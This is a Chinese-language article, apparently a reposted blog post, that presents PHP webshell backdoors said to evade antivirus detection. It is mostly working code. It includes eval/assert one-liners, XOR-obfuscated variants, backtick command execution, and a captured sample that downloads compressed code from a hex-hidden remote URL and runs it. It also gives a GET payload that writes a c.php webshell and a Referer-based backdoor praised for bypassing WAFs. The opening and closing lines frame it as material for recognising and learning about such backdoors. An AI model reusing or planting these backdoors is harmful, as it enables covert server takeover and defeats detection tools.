如何识别简单的免查杀的PHP后门(带示例讲解)
分类:PHP_Python| 发布:佚名| 查看:243 | 发表时间:2015/12/8
一个最常见的一句话后门可能写作这样
1 | <?php @ eval ( $_POST [ 'cmd' ]);?> |
或这样
1 | <?php @assert( $_POST [ 'cmd' ]);?> |
tudouya 同学在FREEBUF上给出[一种构造技巧]利用
代码如下:
构造生成,当然,嫌太直观可以写作这样
代码如下:
1 | <?php @ $_ ++; $__ =( "#" ^ "|" ).( "." ^ "~" ).( "/" ^ "`" ).( "|" ^ "/" ).( "{" ^ "/" );@${ $__ }[! $_ ](${ $__ }[ $_ ]);?> |
然后再填充些普通代码进行伪装,一个简单的”免杀”shell样本就出现了
我们再来看看号称史上最简单免查杀php后门
直接上代码:
2 | $c =urldecode( $_GET [ 'c' ]); if ( $c ){` $c `;} |
3 | ! $_GET [ 'c' ]||`{ $_GET [ 'c' ]}`; |
其实现原理就是PHP会直接将 ` 符号(注意:不是单引号)包含的内容解析为系统命令执行!这样就可以自由变态地扩展了!
再来看同样很简单的一段代码
2 | preg_replace( "/[errorpage]/e" ,@ str_rot13 ( '@nffreg($_CBFG[cntr]);' ), "saft" ); |
密码page
近期捕获一个基于PHP实现的webshell样本,其巧妙的代码动态生成方式,猥琐的自身页面伪装手法,让我们在分析这个样本的过程中感受到相当多的乐趣。接下来就让我们一同共赏这个奇葩的Webshell吧。
Webshell代码如下:
4 | header( "Content-type:text/html;charset=utf-8" ); |
5 | if ( empty ( $_SESSION [ 'api' ])) $_SESSION [ 'api' ]= substr ( file_get_contents (sprintf( '%s?%s' ,pack( "H*" ,'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649); |
6 | @preg_replace( "~(.*)~ies" ,gzuncompress( $_SESSION [ 'api' ]),null); |
关键看下面这句代码,
代码如下:
1 | sprintf( '%s?%s' ,pack( "H*" ,'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid()) |
这里执行之后其实是一张图片,解密出来的图片地址如下:
http://7shell.googlecode.com/svn/make.jpg?53280b00f1e85
然后调用file_get_contents函数读取图片为字符串,然后substr取3649字节之后的内容,再调用gzuncompress解压,得到真正的代码。最后调用preg_replace的修饰符e来执行恶意代码的。这里执行以下语句来还原出恶意样本代码,
代码如下:
2 | echo gzuncompress( substr ( file_get_contents (sprintf( '%s?%s' ,pack( "H*" , |
3 | '687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649)); |
无特征隐藏PHP一句话:
3 | $_POST [ 'code' ] && $_SESSION [ 'theCode' ] = trim( $_POST [ 'code' ]); |
4 | $_SESSION [ 'theCode' ]&&preg_replace( '\'a\'eis' , 'e' . 'v' . 'a' . 'l' . '(base64_decode($_SESSION[\'theCode\']))' , 'a' ); |
将$_POST['code']的内容赋值给$_SESSION['theCode'],然后执行$_SESSION['theCode'],亮点是没有特征码。用扫描工具来检查代码的话,是不会报警的,达到目的了。
超级隐蔽的PHP后门:
1 | <?php $_GET [a]( $_GET [b]);?> |
仅用GET函数就构成了木马;
利用方法:
?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};
执行后当前目录生成c.php一句话木马,当传参a为eval时会报错木马生成失败,为assert时同样报错,但会生成木马,真可谓不可小视,简简单单的一句话,被延伸到这般应用。
层级请求,编码运行PHP后门:
此方法用两个文件实现,文件1
3 | header( 'Content-type:text/html;charset=utf-8' ); |
4 | parse_str ( $_SERVER [ 'HTTP_REFERER' ], $a ); |
5 | if (reset( $a ) == '10' && count ( $a ) == 9) { |
6 | eval ( base64_decode ( str_replace ( " " , "+" , implode( array_slice ( $a , 6))))); |
文件2
03 | header( 'Content-type:text/html;charset=utf-8' ); |
09 | $code = base64_encode ( $code ); |
11 | $referer = "a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i=" ; |
17 | CURLOPT_HEADER => FALSE, |
18 | CURLOPT_RETURNTRANSFER => TRUE, |
19 | CURLOPT_REFERER => $referer |
21 | curl_setopt_array( $ch , $options ); |
通过HTTP请求中的HTTP_REFERER来运行经过base64编码的代码,来达到后门的效果,一般waf对referer这些检测要松一点,或者没有检测。用这个思路bypass waf不错。
我们以一个学习的心态来对待这些PHP后门程序,很多PHP后门代码让我们看到程序员们是多么的用心良苦。